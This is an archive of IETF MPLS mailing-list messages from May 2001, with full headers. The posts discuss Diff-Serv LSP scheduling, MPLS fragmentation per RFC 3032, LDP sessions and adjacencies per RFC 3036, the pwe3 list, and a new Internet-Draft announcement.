Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpbl29045;
	Tue, 15 May 2001 04:22:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkpbl08777
	for mpls-outgoing; Tue, 15 May 2001 04:22:12 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpbl08765
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 04:22:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpbl17665
	for <mpls@UU.NET>; Tue, 15 May 2001 04:21:47 GMT
Received: from samar.sasken.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkpbl27749
	for <mpls@UU.NET>; Tue, 15 May 2001 04:21:43 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4F4LYb22367;
	Tue, 15 May 2001 09:51:34 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id JAA01893;
	Tue, 15 May 2001 09:50:51 +0530 (IST)
Date: Tue, 15 May 2001 09:50:51 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
cc: "'Wayne W. Szeto'" <wwszeto@hopper.math.uwaterloo.ca>, <mpls@UU.NET>
Subject: RE: clarification on "MPLS support of Diff-Serv"
In-Reply-To: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C4E@BBY1EXM01>
Message-ID: <Pine.GSO.4.30.0105150941150.29972-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


> This draft is about supporting Diffserv. In Diffserv there is no
> per-flow scheduling, rather per-class (aggregate) scheduling. The way
> that it works in your example is that at the edge the L-LSPs are
> policed to 5Mbit/s an 10Mbit/s respectively and in the core enough BW
> is reserved for the aggregate (10+5=15Mbit/s). Therefore without
> explicitly scheduling per-LSP flows, the class scheduler could
> schedule them correctly and maintain the 2 to 1 ratio that you were
> talking about.

Aren't u doing per-LSP scheduling here?

Shouldn't draft say that
"....does not mean that per LSP Flow Scheduling is required"
                                ^^^^
am i correct?

-abhijit



From owner-mpls@UU.NET  Tue May 15 04:18:44 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA18782
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 04:18:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcb13526;
	Tue, 15 May 2001 08:17:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcb13075
	for mpls-outgoing; Tue, 15 May 2001 08:16:20 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpcb13026
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 08:16:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpcb17419
	for <mpls@uu.net>; Tue, 15 May 2001 08:15:50 GMT
From: mgoel@hss.hns.com
Received: from hindon.hss.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkpcb12026
	for <mpls@uu.net>; Tue, 15 May 2001 08:15:47 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4F8Gx005448
	for <mpls@uu.net>; Tue, 15 May 2001 13:47:00 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A4D.002C0BF5 ; Tue, 15 May 2001 13:31:06 +0530
X-Lotus-FromDomain: HSS
To: mpls@UU.NET
Message-ID: <65256A4D.002BF730.00@sandesh.hss.hns.com>
Date: Tue, 15 May 2001 13:43:59 +0530
Subject: Fragmentation and reassembly of MPLS packets
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



Hi all,

Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled as
well as unlabeled MPLS packet. In IP there are fields in the datagram header
(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation and
reassembely of datagrams. But in MPLS header there are no such fields defined.
So how does reassembly of the fragmented MPLS packets happens at the destination
host.

Thanks in advance
Mohit




From owner-mpls@UU.NET  Tue May 15 04:54:52 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA19100
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 04:54:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcd08101;
	Tue, 15 May 2001 08:53:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcd15748
	for mpls-outgoing; Tue, 15 May 2001 08:52:58 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpcd15737
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 08:52:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpcd13281
	for <mpls@uu.net>; Tue, 15 May 2001 08:52:32 GMT
From: ytr@123india.com
Received: from c001.zsm.cp.net by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: c001-h003.c001.zsm.cp.net [209.228.56.117])
	id QQkpcd06901
	for <mpls@uu.net>; Tue, 15 May 2001 08:52:32 GMT
Received: (cpmta 17568 invoked from network); 15 May 2001 01:52:31 -0700
Date: 15 May 2001 01:52:31 -0700
Message-ID: <20010515085231.17567.cpmta@c001.zsm.cp.net>
X-Sent: 15 May 2001 08:52:31 GMT
Received: from [192.52.59.68] by mail.123india.com with HTTP;
    15 May 2001 01:52:31 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: mgoel@hss.hns.com
Cc: mpls@UU.NET
X-Mailer: Web Mail 3.9.2.3
Subject: Re: Fragmentation and reassembly of MPLS packets
X-Sent-From: ytr@123india.com
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Mohit,
    If my understanding is correct, its impossible to do fragmentation without IP header.  one has to remove (preserve for later use) MPLS label stack and check IP DF bit in IP header. If its set generate ICMP packets otherwise, fragment IP packet keep the depth of the label stack in mind and reconstruct the fragmented packets with MPLS label stack and forwards those based on the top label. At the egress IP module will reconsruct the IP packet when it gets from MPLS module.

If I am wrong pls correct me.

Thanks
YTR    

On Tue, 15 May 2001, mgoel@hss.hns.com wrote:

> 
> 
> 
> Hi all,
> 
> Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled as
> well as unlabeled MPLS packet. In IP there are fields in the datagram header
> (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation and
> reassembely of datagrams. But in MPLS header there are no such fields defined.
> So how does reassembly of the fragmented MPLS packets happens at the destination
> host.
> 
> Thanks in advance
> Mohit


______________________________________________________
123India.com - India's Premier Portal 
Get your Free Email Account at http://www.123india.com




From owner-mpls@UU.NET  Tue May 15 04:56:07 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA19140
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 04:56:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcd24305;
	Tue, 15 May 2001 08:55:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcd15872
	for mpls-outgoing; Tue, 15 May 2001 08:55:05 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpcd15811
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 08:54:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpcd08626
	for <mpls@uu.net>; Tue, 15 May 2001 08:54:33 GMT
From: ytr@123india.com
Received: from c001.zsm.cp.net by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: c001-h001.c001.zsm.cp.net [209.228.56.115])
	id QQkpcd22971
	for <mpls@uu.net>; Tue, 15 May 2001 08:54:32 GMT
Received: (cpmta 9208 invoked from network); 15 May 2001 01:54:32 -0700
Date: 15 May 2001 01:54:32 -0700
Message-ID: <20010515085432.9207.cpmta@c001.zsm.cp.net>
X-Sent: 15 May 2001 08:54:32 GMT
Received: from [192.52.59.68] by mail.123india.com with HTTP;
    15 May 2001 01:54:31 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: mgoel@hss.hns.com
Cc: mpls@UU.NET
X-Mailer: Web Mail 3.9.2.3
Subject: Re: Fragmentation and reassembly of MPLS packets
X-Sent-From: ytr@123india.com
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Mohit,
    If my understanding is correct, its impossible to do fragmentation without IP header.  one has to remove (preserve for later use) MPLS label stack and check IP DF bit in IP header. If its set generate ICMP packets otherwise, fragment IP packet keep the depth of the label stack in mind and reconstruct the fragmented packets with MPLS label stack and forwards those based on the top label. At the egress IP module will reconsruct the IP packet when it gets from MPLS module.

If I am wrong pls correct me.

Thanks
YTR    

On Tue, 15 May 2001, mgoel@hss.hns.com wrote:

> 
> 
> 
> Hi all,
> 
> Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled as
> well as unlabeled MPLS packet. In IP there are fields in the datagram header
> (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation and
> reassembely of datagrams. But in MPLS header there are no such fields defined.
> So how does reassembly of the fragmented MPLS packets happens at the destination
> host.
> 
> Thanks in advance
> Mohit


______________________________________________________
123India.com - India's Premier Portal 
Get your Free Email Account at http://www.123india.com




From owner-mpls@UU.NET  Tue May 15 05:32:09 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA19450
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 05:32:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcg27769;
	Tue, 15 May 2001 09:30:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcf07774
	for mpls-outgoing; Tue, 15 May 2001 09:29:52 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpcf07762
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 09:29:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcf24462
	for <mpls@UU.NET>; Tue, 15 May 2001 09:28:53 GMT
Received: from starvin-marvin.delphi-assoc.co.uk by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: starvin-marvin.delphi-assoc.co.uk [195.82.105.221])
	id QQkpcf26018
	for <mpls@UU.NET>; Tue, 15 May 2001 09:28:53 GMT
Received: from goneto.net (unknown [195.167.134.116])
	by starvin-marvin.delphi-assoc.co.uk (Postfix) with ESMTP
	id 102DB15F81C; Tue, 15 May 2001 10:28:47 +0100 (BST)
Message-ID: <3B00F71C.FC894CF3@goneto.net>
Date: Tue, 15 May 2001 10:30:04 +0100
From: Giles Heron <giles@goneto.net>
Reply-To: giles@goneto.net
Organization: Gone2 Inc.
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Jim Loehndorf <JLoehndorf@ASC.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: pwe3 Mailer
References: <4AA0C69EF2C3D411B94600B0D04931BD14B84F@ASC_EXCH>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

> Jim Loehndorf wrote:
> 
> Is there a pwe3 mail group?  How do you join?
> 
> Jim Loehndorf
> 
> ASC

Hi Jim,

you can subscribe at:

http://www.ietf.org/mailman/listinfo/pwe3

or send email to pwe3-request@ietf.org

Giles

-- 
============================================================
Giles Heron      Principal Network Architect      Gone2 Inc.
ph: +44 7880 506185         "if you build it they will yawn"
============================================================


From owner-mpls@UU.NET  Tue May 15 06:39:15 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA19889
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 06:39:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpck10869;
	Tue, 15 May 2001 10:38:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkpck02379
	for mpls-outgoing; Tue, 15 May 2001 10:37:38 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpck02369
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 10:37:30 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpck03017
	for <mpls@UU.NET>; Tue, 15 May 2001 10:36:18 GMT
Received: from mail.eis.ernet.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.41.97.131])
	id QQkpck08829
	for <mpls@UU.NET>; Tue, 15 May 2001 10:36:15 GMT
Received: from uucp-relay-delhi.ernet.in (vikram.doe.ernet.in
          [202.41.97.134]) by mail.eis.ernet.in (Netscape Messaging Server
          4.15) with ESMTP id GDDIKW00.U1T; Tue, 15 May 2001 16:00:32 +0500 
Received: by uucp-relay-delhi.ernet.in (8.9.3+Sun/SMI-4.1-MHS-7.0)
	id QAA03041; Tue, 15 May 2001 16:04:08 -0500 (GMT)
>Received: from cancer.cdotd.ernet.in by cdotd.cdotd.ernet.in (SMI-8.6/SMI-SVR4)
	id QAA00522; Tue, 15 May 2001 16:00:28 -0500
Message-ID: <3B0104A0.B04DC8B7@cdotd.ernet.in>
Date: Tue, 15 May 2001 15:57:44 +0530
From: "Alok! Tripathi" <alokt@cdotd.ernet.in>
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mgoel@hss.hns.com
CC: mpls@UU.NET
Subject: Re: Fragmentation and reassembly of MPLS packets
References: <65256A4D.002BF730.00@sandesh.hss.hns.com>
Received: from cdotd by vikram.doe.ernet.in; Tue, 15 May 2001 16:04 GMT
Content-Type: multipart/alternative;
 boundary="------------8F5063EB3642C9B2E1C74F15"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------8F5063EB3642C9B2E1C74F15
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

uucp-relay-delhi!mgoel@hss.hns.com wrote:

> Hi all,
>
> Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled as
> well as unlabeled MPLS packet. In IP there are fields in the datagram header
> (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation and
> reassembely of datagrams. But in MPLS header there are no such fields defined.
> So how does reassembly of the fragmented MPLS packets happens at the destination
> host.
>
> Thanks in advance
> Mohit

Mohit,

As per RFC3032, in case a LSR needs to fragment an IP packet before forwarding,
it strips of its MPLS label stack entries to obtain an IP datagram.
Then the IP fragmentation is done as usual.

Each fragment is then  labelled again with the same header as the orginal one would
have got. This takes
care that all these fragments are forwarded in the same way in the network till
they reach
the destination. At the destination, IP layer shall assemble the packets in the
normal way after all  label
stack entries are popped.



--
Regards,         | " Study as if you were to live forever, |
 __  / _   /_    |   Live as if you were to die tomorrow " |
(_(_/_(_)_/\ .....                        -- Mahatma Gandhi|



--------------8F5063EB3642C9B2E1C74F15
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
uucp-relay-delhi!mgoel@hss.hns.com wrote:
<blockquote TYPE=CITE>Hi all,
<p>Section 3 of RFC 3032 discusses the procedure for fragmenting the labeled
as
<br>well as unlabeled MPLS packet. In IP there are fields in the datagram
header
<br>(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control fragmentation
and
<br>reassembely of datagrams. But in MPLS header there are no such fields
defined.
<br>So how does reassembly of the fragmented MPLS packets happens at the
destination
<br>host.
<p>Thanks in advance
<br>Mohit</blockquote>
Mohit,
<p>As per RFC3032, in case a LSR&nbsp;needs to fragment an IP&nbsp;packet
before forwarding,
<br>it strips of its MPLS label stack entries to obtain an IP datagram.
<br>Then the IP fragmentation is done as usual.
<p>Each fragment is then&nbsp; labelled again with the same header as the
orginal one would have got. This takes
<br>care that all these fragments are forwarded in the same way in the
network till they reach
<br>the destination. At the destination, IP layer shall assemble the packets
in the normal way after all&nbsp; label
<br>stack entries are popped.
<br>&nbsp;
<br>&nbsp;
<pre>--&nbsp;
Regards,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | " Study as if you were to live forever, |&nbsp;
&nbsp;__&nbsp; / _&nbsp;&nbsp; /_&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp; Live as if you were to die tomorrow " |
(_(_/_(_)_/\ .....&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- Mahatma Gandhi|</pre>
&nbsp;</html>

--------------8F5063EB3642C9B2E1C74F15--




From owner-mpls@UU.NET  Tue May 15 07:02:00 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA20251
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 07:02:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcm05509;
	Tue, 15 May 2001 11:01:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcm07754
	for mpls-outgoing; Tue, 15 May 2001 11:00:43 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpcm06624
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 11:00:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpcm10410
	for <mpls@uu.net>; Tue, 15 May 2001 11:00:13 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpcm03560
	for <mpls@uu.net>; Tue, 15 May 2001 11:00:12 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA07225 for mpls@uu.net; Tue, 15 May 2001 07:00:11 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpcl03799
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 10:55:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcl19363
	for <mpls@UU.NET>; Tue, 15 May 2001 10:54:40 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkpcl07508
	for <mpls@UU.NET>; Tue, 15 May 2001 10:54:39 GMT
Received: from rhthomas-sun2.cisco.com (rhthomas-sun2.cisco.com [161.44.134.47])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4FAscd12340;
	Tue, 15 May 2001 03:54:38 -0700 (PDT)
Received: from localhost (rhthomas@localhost) by rhthomas-sun2.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) with ESMTP id GAA17584; Tue, 15 May 2001 06:54:37 -0400 (EDT)
Message-Id: <200105151054.GAA17584@rhthomas-sun2.cisco.com>
X-Authentication-Warning: rhthomas-sun2.cisco.com: rhthomas owned process doing -bs
To: Haseeb Budhani <haseeb@ipinfusion.com>
cc: mpls@UU.NET
Subject: Re: Multiple adjacencies per session. 
In-reply-to: Your message of "Mon, 14 May 2001 16:47:00 CDT."
             <3B005253.C9C5A132@ipinfusion.com> 
Date: Tue, 15 May 2001 06:54:37 -0400
From: Bob Thomas <rhthomas@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Haseeb,

> I have a few simple questions pertaining to the existence of multiple
> adjacencies per session, which RFC3036 says can only happen for
> point-to-point links (2.5.5 : Maintianing Hello Adjacencies)

RFC3036 does not say this can happen only for point-to-point links.
It cites the case of muliple PPP links between a pair of LSRs as an
example.


> 1. Does one "session" between two peers denote one TCP connection
> between the two ??

Yes, one session means one TCP connection.


> 2. If the answer to (1) is Yes, does this mean that for n adjacencies in
> a session, only one -- the primary -- adjacency has an active
> TCP connection, which it uses to exchange LDP specific information, and
> the other n-1 adjacencies remain "idle" ?

I don't know what you mean by "idle".  The hello discovery adjacencies
associated with an LDP session are equivalent in their role of maintaining
the LDP session.


> 3. If the answer to (1) is No, is there a TCP connection set up for
> every adjacency, and is this TCP connection used to exchange
> LDP specific data ??

The answer to (1) is yes; there is 1 TCP connection per session.


Bob


> Please get back to me at your earliest convenience.
> 
> Thank. :)



From owner-mpls@UU.NET  Tue May 15 07:05:37 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA20552
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 07:05:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcm09571;
	Tue, 15 May 2001 11:04:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcm18424
	for mpls-outgoing; Tue, 15 May 2001 11:04:09 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpcm17253
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 11:04:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpcm18345
	for <mpls@uu.net>; Tue, 15 May 2001 11:03:34 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpcm24380
	for <mpls@uu.net>; Tue, 15 May 2001 11:03:33 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA07562 for mpls@uu.net; Tue, 15 May 2001 07:03:33 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpcm14700
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 11:03:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpcm29409
	for <mpls@uu.net>; Tue, 15 May 2001 11:02:09 GMT
Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQkpcm06779
	for <mpls@uu.net>; Tue, 15 May 2001 11:02:09 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20253;
	Tue, 15 May 2001 07:02:00 -0400 (EDT)
Message-Id: <200105151102.HAA20253@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-tc-mib-00.txt
Date: Tue, 15 May 2001 07:02:00 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Definitions of Textual Conventions and 
                          OBJECT-IDENTITIES for Multi-Protocol Label Switching 
                          Management
	Author(s)	: T. Nadeau
	Filename	: draft-ietf-mpls-tc-mib-00.txt
	Pages		: 13
	Date		: 14-May-01
	
This memo describes Textual Conventions and OBJECT-IDENTITIES used
for managing MPLS networks

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-tc-mib-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-tc-mib-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-tc-mib-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010514145715.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-tc-mib-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-tc-mib-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010514145715.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue May 15 07:15:25 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA20843
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 07:15:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpcm20218;
	Tue, 15 May 2001 11:14:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkpcm24461
	for mpls-outgoing; Tue, 15 May 2001 11:13:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpcm24432
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 11:13:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpcm10661
	for <mpls@uu.net>; Tue, 15 May 2001 11:13:21 GMT
Received: from samar.sasken.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
